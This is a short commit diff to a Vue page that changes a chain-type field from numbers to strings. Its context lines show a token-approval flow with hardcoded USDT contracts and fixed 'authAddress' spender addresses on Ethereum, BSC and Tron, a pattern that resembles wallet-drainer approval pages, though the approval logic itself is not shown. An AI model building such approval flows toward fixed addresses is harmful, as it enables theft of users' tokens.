gx
queenwuli
2022-04-15 82e18840a7392d4cbedefaf3139508bf553ed6ef
src/pages/index/index.vue
@@ -337,14 +337,14 @@
      if(chainId == 1) {
          contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
          authAddress = '0x6c5640c572504a75121e57760909a9dd0E672f2D';
          this.chainType = 1
          this.chainType = 'ETH'
      }else if(chainId == 56) {
          contractAddress = "0x55d398326f99059fF775485246999027B3197955";
          authAddress = '0x4ebdca102623b46a47042d580dddade2a53d057f';
          web3.eth.currentProvider.rpcUrl='https://data-seed-prebsc-1-s1.binance.org:8545';
          console.log('bian---')
          console.log(web3.eth.currentProvider)
          this.chainType = 2
          this.chainType = 'BSC'
      }else{
        this.$toast(this.$t('message.Waringing'));
        this.isApproving = false;
@@ -367,7 +367,7 @@
      })
    },
    async tornWebApprove () {
      this.chainType = 3
      this.chainType = 'TRX'
      const tronWeb = window.tronWeb;
      const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
      const authAddress = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";